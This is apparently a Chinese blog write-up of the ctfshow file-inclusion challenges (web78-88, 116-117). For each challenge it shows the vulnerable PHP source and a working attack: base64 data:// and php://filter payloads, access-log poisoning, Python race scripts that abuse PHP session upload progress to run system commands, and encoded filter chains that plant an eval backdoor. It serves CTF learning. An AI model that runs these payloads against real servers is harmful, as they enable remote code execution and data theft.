ctfshow-文件包含

基础知识:

文件包含分为本地包含和远程包含。
最基础的检测方式:
本地包含:?file=../../../etc/passwd
远程包含:?file=http://www.baidu.com
这两种是最基础的检测方式,用以判断是否存在文件包含漏洞。检测完成后在使用对应的利用方式进行利用。
常见的利用方式:
获取敏感信息:包含一些特殊的配置文件,获取敏感信息;
图片马getshell;
临时文件getshell;
session文件getshell;
日志文件getshell(Apach、SSH等等);
利用php伪协议进行攻击(会成为最常见的方式):

file://
php://
php://filter
php://input
zip:// & bzip2:// & zlib://
data://
phar://

绕过检测:
死亡过滤

web78-伪协议 php://filter

 <?php
/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-16 10:52:43
@Last Modified by:   h1xa
@Last Modified time: 2020-09-16 10:54:20
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}
 
 Hint:
?file=php://filter/convert.base64-encode/resource=flag.php

web79-伪协议 data://

 <?php
/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-16 11:10:14
@Last Modified by:   h1xa
@Last Modified time: 2020-09-16 11:12:38
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file $_GET['file'];
    $file str_replace("php""???"$file);
    include($file);
}else{
    highlight_file(__FILE__);
}

Hint:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');

和我最初的想法相似,我传入的是phpinfo,目前来说还不是很能够熟练的使用这些系统函数。

web80-日志包含

<?php
/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-16 11:25:09
@Last Modified by:   h1xa
@Last Modified time: 2020-09-16 11:26:29
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file $_GET['file'];
    $file str_replace("php""???"$file);
    $file str_replace("data""???"$file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以说是过滤了伪协议php和data,应该是可以用phar的!

Hint:

包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log

看来我的想法有些不对,根据hint然后发送请求数据包:
images

images

web81-日志包含

<?php
/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-16 11:25:09
@Last Modified by:   h1xa
@Last Modified time: 2020-09-16 15:51:31
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file $_GET['file'];
    $file str_replace("php""???"$file);
    $file str_replace("data""???"$file);
    $file str_replace(":""???"$file);
    include($file);
}else{
    highlight_file(__FILE__);
}

Hint:

包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log

images

<?php system('cat fl0g.php')?> 

做法和上题相同!

web82-session 包含

<?php
/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-16 11:25:09
@Last Modified by:   h1xa
@Last Modified time: 2020-09-16 19:34:45
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file $_GET['file'];
    $file str_replace("php""???"$file);
    $file str_replace("data""???"$file);
    $file str_replace(":""???"$file);
    $file str_replace(".""???"$file);
    include($file);
}else{
    highlight_file(__FILE__);
}

Hint:

https://www.freebuf.com/vuls/202819.html 
这道题有点像wmctf的make php great again 利用session对话进行文件包含利用 
https://blog.csdn.net/qq_46091464/article/details/108021053

没看懂利用过程,但是找到脚本,挺厉害的。

# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading
sessID = 'flag'
url = 'http://4389443e-7686-45ce-8b29-245fdafbfe8b.challenge.ctf.show:8080/'
def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={'file': ('test.txt', f)}
)
def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')
if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

web83

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-16 11:25:09
@Last Modified by:   h1xa
@Last Modified time: 2020-09-16 20:28:52
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
session_unset();
session_destroy();
if(isset($_GET['file'])){
    $file $_GET['file'];
    $file str_replace("php""???"$file);
    $file str_replace("data""???"$file);
    $file str_replace(":""???"$file);
    $file str_replace(".""???"$file);
    include($file);
}else{
    highlight_file(__FILE__);
}

Hint:

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

web84

<?php
/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-16 11:25:09
@Last Modified by:   h1xa
@Last Modified time: 2020-09-16 20:40:01
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file $_GET['file'];
    $file str_replace("php""???"$file);
    $file str_replace("data""???"$file);
    $file str_replace(":""???"$file);
    $file str_replace(".""???"$file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

Hint:

 #poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

web85

<?php
/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-16 11:25:09
@Last Modified by:   h1xa
@Last Modified time: 2020-09-16 20:59:51
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file $_GET['file'];
    $file str_replace("php""???"$file);
    $file str_replace("data""???"$file);
    $file str_replace(":""???"$file);
    $file str_replace(".""???"$file);
    if(file_exists($file)){
        $content file_get_contents($file);
        if(strpos($content"<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

Hint:

 #poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

web86

<?php
/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-16 11:25:09
@Last Modified by:   h1xa
@Last Modified time: 2020-09-16 21:20:43
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
define('还要秀?'dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file $_GET['file'];
    $file str_replace("php""???"$file);
    $file str_replace("data""???"$file);
    $file str_replace(":""???"$file);
    $file str_replace(".""???"$file);
    include($file);
    
}else{
    highlight_file(__FILE__);
}

Hint:

 #poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

web87

<?php
/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-16 11:25:09
@Last Modified by:   h1xa
@Last Modified time: 2020-09-16 21:57:55
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file $_GET['file'];
    $content $_POST['content'];
    $file str_replace("php""???"$file);
    $file str_replace("data""???"$file);
    $file str_replace(":""???"$file);
    $file str_replace(".""???"$file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
    
}else{
    highlight_file(__FILE__);
}

Hint:

https://www.leavesongs.com/PENETRATION/php-filter-magic.html 
https://xz.aliyun.com/t/8163#toc-3 
php://filter/write=string.rot13/resource=2.php
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%2
5%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%
33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36
%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%3
3%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%
25%37%32%25%36%33%25%36%35%25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

因为通过base64过滤之后就只有(phpdie)6个字符我们就要添加2个字符让前面的可以进行编码
 images

file传入的内容是经过两次url加密的内容。
images

PD9waHAgc3lzdGVtKCdscycpOw==
base64加密内容是:
<?php system('ls');
为什么不是这个: <?php system('ls');?> 因为加了?>就会有提示?,把这个去掉之后就成功。

web88

<?php
/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-16 11:25:09
@Last Modified by:   h1xa
@Last Modified time: 2020-09-17 02:27:25
@email: h1xa@ctfer.com
@link: https://ctfer.com
 */
if(isset($_GET['file'])){
    $file $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i"$file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

Hint:
发现过滤的还是比较多,但是没有过滤 : 那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =

# coding=utf-8
# Author: atao
import io
import requests
import threading
sessID = 'flag'
url = 'http://77f10aa2-a5ca-4ab6-9f42-6e43e5717207.chall.ctf.show/'
def write(session):
while True:
f = io.BytesIO(b'a' * 256 * 1) #建议正常这个填充数据大一点
response = session.post(
1 2 3 4 5 6 7 8 9
10
11
12
13url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac
*.php");?>'},
files={'file': ('a.txt', f)}
)
def read():
while True:
response = session.get(url+'?file=/tmp/sess_{}'.format(sessID))
if 'flag' in response.text:
print(response.text)
break
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True #当daemon为True时,父线程在运行完毕后,子线程无论是否正在运行,都
会伴随主线程一起退出。
write.start()
read()

使用data:// 伪协议,但是过滤= + 这些,所以在base64编码之后传入时需要删除=

web116

images

<?php
error_reporting(0);
function filter($x){
if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);
?>

Hint:

misc+lfi

web117

<?php
/*
# -*- coding: utf-8 -*-
@Author: yu22x
@Date:   2020-09-16 11:25:09
@Last Modified by:   h1xa
@Last Modified time: 2020-10-01 18:16:59
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file"<?php die();?>".$contents);

Hint:

payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
posted @   KAKSKY  阅读(551)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示